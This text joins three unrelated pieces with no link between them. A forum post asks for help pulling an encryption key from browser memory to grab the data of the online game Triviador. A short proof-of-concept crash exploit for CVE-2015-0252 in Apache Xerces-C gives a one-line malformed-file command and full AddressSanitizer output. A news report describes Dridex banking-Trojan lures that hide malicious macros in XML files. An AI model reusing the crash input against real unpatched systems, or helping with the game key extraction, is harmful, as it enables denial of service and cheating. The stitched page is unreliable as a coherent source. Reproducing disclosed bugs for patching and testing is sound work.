Search the Community

Hi guys, i know the title must sound obsolete for ya, but i've seen in the past romanian managed to "hack" a previous version of this game. https://world.triviador.net the security has changed since then, i'm wondering if there's anyone that can still make an xml grabber for it. from what i know, if you search "sharedkey" or "rsapublickey" with a memory viewer through firefox for ex, you can see a huge key. i believe that rsa key is used to encrypt the key used for decrypting the xml. anyway, i have managed to write the actual decryption algorithm for decoding the xml, and maybe for decoding the key too, but i can't get the encrypted key out from the memory of any browser. i'm curious if anyone could do that. =] ~ Cheers ~

# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC # Date: 2015-05-03 # Exploit Author: beford # Vendor Homepage: http://xerces.apache.org/#xerces-c # Version: Versions prior to 3.1.2 # Tested on: Ubuntu 15.04 # CVE : CVE-2015-0252 Apache Xerces-C XML Parser Crashes on Malformed Input I believe this to be the same issue that was reported on CVE-2015-0252, posting this in case anyone is interested in reproducing it. Original advisory: https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt $ printf "\xff\xfe\x00\x00\x3c" > file.xml $ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package Segmentation fault $ ./DOMPrint ./file.xml # ASAN Enabled build ================================================================= ==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798 READ of size 1 at 0xb5d9d87c thread T0 #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer() xercesc/internal/XMLReader.cpp:1719 #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*, unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761 #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer() xercesc/internal/XMLReader.cpp:576 #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short const*) xercesc/internal/XMLReader.cpp:1223 #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short const*) xercesc/internal/ReaderMgr.hpp:385 #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool) xercesc/internal/XMLScanner.cpp:1608 #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog() xercesc/internal/XMLScanner.cpp:1244 #7 0x8d69220 in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:206 #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #12 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5) 0xb5d9d87c is located 0 bytes to the right of 163964-byte region [0xb5d75800,0xb5d9d87c) allocated by thread T0 here: #0 0xb72c3ae4 in operator new(unsigned int) (/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4) #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int) xercesc/internal/MemoryManagerImpl.cpp:40 #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int, xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68 #3 0x8daaaa7 in xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner2.cpp:1284 #4 0x8d6912a in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:198 #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #9 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) SUMMARY: AddressSanitizer: heap-buffer-overflow xercesc/internal/XMLReader.cpp:1719 xercesc_3_1::XMLReader::refreshRawBuffer() Source

Not long ago, criminals pushing the Dridex banking Trojan were using Microsoft Excel documents spiked with a malicious macro as a phishing lure to entice victims to load the malware onto their machines. Even though macros are disabled by default inside most organizations, the persistent hackers are still at it, this time using XML files as a lure. Researchers at Trustwave today said that over the past few days, several hundred messages have been corralled that are trying to exploit users’ trust in Office documents with some clever social engineering thrown into the mix in an attempt to convince users to enable macros and thus download the banking malware onto their machines. The XML files are passed off as “remittance advice,” or payment notifications, with the hopes that some users will believe it’s an innocent text file and execute the malicious code. “XML files are the old binary format for Office docs and once you double click them to open, the file associated with Microsoft Word and opens,” said Karl Sigler, Trustwave threat intelligence manager. The malicious macro is compressed and Base64 encoded in order to slide through detection technology, Sigler said, adding that the attackers have also included a pop-up with instructions for the user on how to enable macros with language that stresses macros must be enabled for the invoice to viewed properly or to ensure proper security. “Which is the exact opposite of what this does,” Sigler said. “It doesn’t seem to be all that sophisticated. They’re either trying to capitalize on a user’s trust in XML files, or the fact that a user may not be that familiar with what that extension is.” If the user does follow through and execute the malware, Dridex behaves like most banking Trojans. It sits waiting for a user to visiting an online banking site and then injects code onto the bank site in order to capture the user’s credentials for their online account. Sigler said this is the first time they’ve spotted XML docs used as a lure. As for macros, they’ve been disabled by default since Office 2007 was released. “Sometimes in large organizations, local administrators have the ability to enable macros,” Sigler said. “Some organizations use them quite a bit, but it’s not common. Most people leave the default settings. It’s hard to say why these guys moved to XML. It could be that they’re looking for a new attack vector and they weren’t getting good click-through rates with the Excel documents. Maybe they were not getting people to enable macros the way they hoped and they’re looking for a way to better their success rate.” Dridex is a descendent of Cridex and is in the GameOver Zeus family. GameOver Zeus has been used for years to great profit, particularly through wire fraud. It used a peer-to-peer architecture to spread and send stolen goods, opting to forgo a centralized command-and-control. P2P and domain generation algorithm techniques make botnet takedowns difficult and extend the lifespan of such malware schemes. The previous Dridex campaign targeted U.K. banking customers with spam messages spoofing popular companies either based or active in the U.K. Separate spam spikes using macros started in October and continued right through mid-December; messages contained malicious attachments claiming to be invoices from a number of sources, including shipping companies, retailers, software companies, financial institutions and others. Source